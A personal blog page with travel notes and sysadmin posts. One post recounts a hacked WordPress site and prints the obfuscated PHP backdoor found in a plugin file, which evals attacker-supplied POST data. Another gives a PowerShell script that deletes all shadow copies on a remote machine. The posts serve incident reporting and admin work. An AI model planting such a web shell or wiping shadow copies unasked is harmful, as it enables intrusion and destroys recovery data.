HeiseHeise.com

The Personal Blog of Zach Heise

Sunset by Felucca boat ride, Egypt 2010
Sunset by Felucca boat ride, Egypt 2010

A random image. Reload page for more. Want more info?

  • Priority Pass Lounge

    Okay,  I’ll admit that we could really get used this… Complimentary 12 year old Glenlivet, a selection of sandwiches –  both vegetarian and tasteful meat varieties –  and some nice coffee machines. That Chase sapphire card is making itself valuable already…

    The tiny little individually wrapped packages of mild cheddar cheeses in the lower right corner was a bit much…

    The portable keyboard folds up so small, you can’t even see it in this random model’s pocket!
  • Heading to Tanzania! 

    I’m sitting on the Van Galder bus to O’Hare, trying out a ridiculously silly looking tiny bluetooth keyboard that my Galaxy S7 is paired to.  Yes,  it’s the first vacation I’ve taken since Germany and Austria with Dozan wa Awtar that I’m not taking a laptop with me…. This will be a 100% phone based trip! 

    Christine and I bought these plane tickets on a whim on December 8th from a booking website that gives 48 hour money back refunds and said,  okay,  we have 48 hours to determine if we can find a trustworthy yet affordable safari company or not.  Also,  do we need to send our passports to DC or something for a visa?  Yes to the first,  no to the second; we’re going to wing it and buy visas for $100 apiece right at the airport. Websites are saying that’s possible so we really hope that’s true – otherwise,  as Han Solo says,  “this is gonna be a real short trip.” 

    The majority of our 12 day trip is going to be an 8 day safari with a group Christine found,  Endallah Cultural Tours –  normally I’d insert a URL here but on a single tasking smartphone that keeps trying to autocorrect everything,  even with the dang keyboard attached,  you’ll forgive me for keeping things simple. Endallah is special because it’s based around Endallah Village as an aid group that uses tourist money to buy water pumps and school supplies for the villagers.  In return,  we get to stay at people’s homes,  eat with them,  and get a private tour into 3-4 of the national parks with a driver. Not bad for $1825 a person,  when you consider that going with a foreign tour group like Thomson Safaris,  who wait on you hand and foot,  can cost $4000 for a similar duration.  Christine and I have always been good with roughing it,  though! 

    Well,  my fingers are starting to cramp and the bus swaying around isn’t helping my phone balance on this little keyboard tray at all,  so I’ll sign off.  Seems like this keyboard likes to double insert two spaces after each period.  How annoying,  I wonder if it’s possible to turn that “feature” off… 

  • Dozan wa Awtar Easter Concert 2009

    Finally got around to digging out the DVD from our “Celebrating Easter” concert in 2009. I wrote more about it at this post here, promising that if I ever got the footage, I would post it. Well, here it is! It’s “unlisted” on Youtube which hopefully means that the Jordanian production company will be less likely to sue me (I doubt they would, but making this video less easy to find is probably a good idea just in case!).

  • New mobile theme

    Google apparently punishes website folks if they don’t have a mobile-ready version of their site ready to go. As I was poking around, trying to get old Facebook video embed links to work on some old posts, I tried checking out those pages on my phone to see how they looked there. Imagine my irritation (I would go so far as to say it was mild! quite mild!) when I saw that the entire thing was completely busted and didn’t even show a search link anymore. That former plugin is called WP Mobile Detector, and while it was “great while it lasted” it seems it hasn’t gotten a real function update since sometime in 2015, which in the webdev world might as well be 1986. Or, more likely, they stopped offering the free version I installed in 2012/2013, didn’t tell me, and moved to a paid license only model, leaving us free bloggers out on the vine to wither.

    Enter new, top-of-google-search-results-for “best wordpress mobile theme” WPTouch. You can view it on your phone by visiting this website. Maybe you’re doing so at this moment in which case, isn’t it beautiful? Looks very slick to me, considering the old one looked like something from the first generation of iPhone.

    Comparison – then and now.

    This slideshow requires JavaScript.

  • Site attacked via the built-in “Health Check” plugin

    I might not update much anymore, but I still want the blog to remain as a record of my travels. This afternoon I got an email from 1and1, my webhost, telling me that the following file was “under attack” –

    ~/blog/wp-content/plugins/health-check/code.php

    I was surprised, and immediately went into my SFTP client to download and check the file. It was an old plugin, I must have installed it as part of the PHP4 -> 5 changeover I did sometime while I was in Jordan to see what version was being reported. Tellingly, the plugin had never been updated, and I can’t seem to find it anymore in WordPress’s extension/plugin repository (although maybe this is it, as it’s named health-check in their database).

    More chillingly, viewing the website in a browser yielded an error pertaining to my wp-includes folder, a settings file, that was no longer functioning. White screen; that’s it.

    When I tried to download code.php to my computer to inspect it, Windows Defender immediately flagged the file as malware and deleted. Since I was on my work machine at the time, I had to talk to my colleague next door (who runs our antivirus scanner) to unblock the file! It was gobbledegook anyway – here’s what was inside it:

    <?php                                                                                                                                                                                                                                                                      $scol4 =”t_psroue” ; $fcen0= $scol4[3]. $scol4[0].$scol4[4]. $scol4[0].$scol4[5].$scol4[6]. $scol4[2]. $scol4[2].$scol4[7]. $scol4[4]; $jphf86 =$fcen0 ( $scol4[1].$scol4[2].$scol4[5].$scol4[3]. $scol4[0] ) ; if ( isset( ${ $jphf86 }[‘qd6e706’ ]) ) { eval ( ${ $jphf86}[ ‘qd6e706’]); }?>

    Anyway, using this thread here, the easy fix was just to entirely purge the wp-admin and wp-include folders and replace them with fresh downloads from wordpress.org. Once I did that, everything started working again. But it was quite a scare, especially since I cheaped out with 1and1 last year when they begged me to upgrade from my $4 a month hosting to something with backup capability. I run my own backups…sometimes. Heh. Guess I should do that now.

    Update, June 6th – Found it. It’s almost positive that this was the cause of one of the infection, as today I was notified of flaws in the WP-Mobile-Detector plugin. I applied the patch right away, although weirdly enough it still shows the “last modified” date for the resize.php file as being February 2016, not June.

  • System Tool: Delete all system restore points on a managed Windows 7 (or above) machine

    System restore can be great if Microsoft releases a botched update, or a program fails to install or uninstall properly. There’s several different scenarios in which System restore points can be useful to recover your system files back to a previously know “good” point. However, malware writers understand this too, and starting back in my XP days at DoIT it was a well-known procedure when doing Virus Rescue cases to just disable System Restore (deleting all restore points automatically) and then re-enable it. This prevents a virus from hiding out in old files, ready to rear its head again if you need to do a System Restore in the future.

    At my office, System Restore has always been disabled. This has been an irritant several times in the past, as me and the other PC Support guys would say…well, darn, the system is hosed and even though it doesn’t have anywhere near a 100% success rate, it would have been nice to at least try it and see if worked. Our sysadmin’s reasons for this has been – well, it takes up as much as 10GB of space on your HDD or 10%, whatever’s smaller. We can’t guarantee all our machines will have that. And then there was the aforementioned virus issue.

    I convinced him that if PC Support took responsibility for deleting the system restore points on infected/compromised machines, would he at least consider setting the Group Policy object for “Disable System Restore” from “enforced” to not configured? That means that at least, new machines we image and set up in the future will have System Restore turned on. And old machines, with possibly space-limited HDD’s, will just stay off – which is fine. We didn’t want to have to bother with RDP’ing into the system and going through the GUI to delete the Restore Points – why do that, if you can just do that (and pretty much anything under the sun) in Powershell?

    So this was my first time making (well, customizing) a powershell script. I used this one here as a base, but decided I wanted two things – the user to be able to input a name of a machine, and also for some better error handling. The script as it exists on that page will give big ugly error messages if System Restore can’t be contacted, or doesn’t have any restore points. I cleaned it up so that it will gracefully fail.

    Here it is:

    $compname = Read-Host -Prompt 'Input computer name to delete all shadow copies from' #Requests computer name from you
    $shadowCopies = Get-WMIObject -Class Win32_ShadowCopy -Computer $compname # Accesses Shadow Copy WMI
    $shadowCopies | % {$_.DeviceObject} #Lists the copies
    $numberofcopies = $shadowCopies.Count # Stores variable for success message
    if ($shadowCopies -eq $null) {
    Write-Host 'No shadow copies found, or System Restore disabled.' -ForegroundColor White -BackgroundColor Black} # if service cannot be contacted or no copies found
    if ($shadowCopies.Count -gt 1) {
    for($i = 0; $i -lt $shadowcopies.count; $i++){
    $shadowCopies[($i-1)].Delete()
    }} # if there is more than one shadow copy, loops back to delete them all
    if ($shadowCopies.Count -eq 1) {
    $shadowCopies.Delete()} # if only one shadow copy, deletes it
    if ($shadowCopies) {
    Write-Host "$numberofcopies deleted successfully." -ForegroundColor Black -BackgroundColor White
    } #print success message

    This is available to download as a .ps1 script from Microsoft Technet here. Note that in order to run it, you will need to Set-ExecutionPolicy bypass in your Powershell session. On Windows 10 at least (my main system at work) I did not need to run it as an administrator. If anyone happens across this post and has a correction for me or suggestion I will incorporate it, but mainly this was just a little post because I’m proud of myself. It may be simple, but considering the last “programming” I did was having a computer play Mary Had a Little Lamb in Basic (which I got a blue ribbon for in 4-H, I may add!) I am glad to contribute something useful to other sysadmins.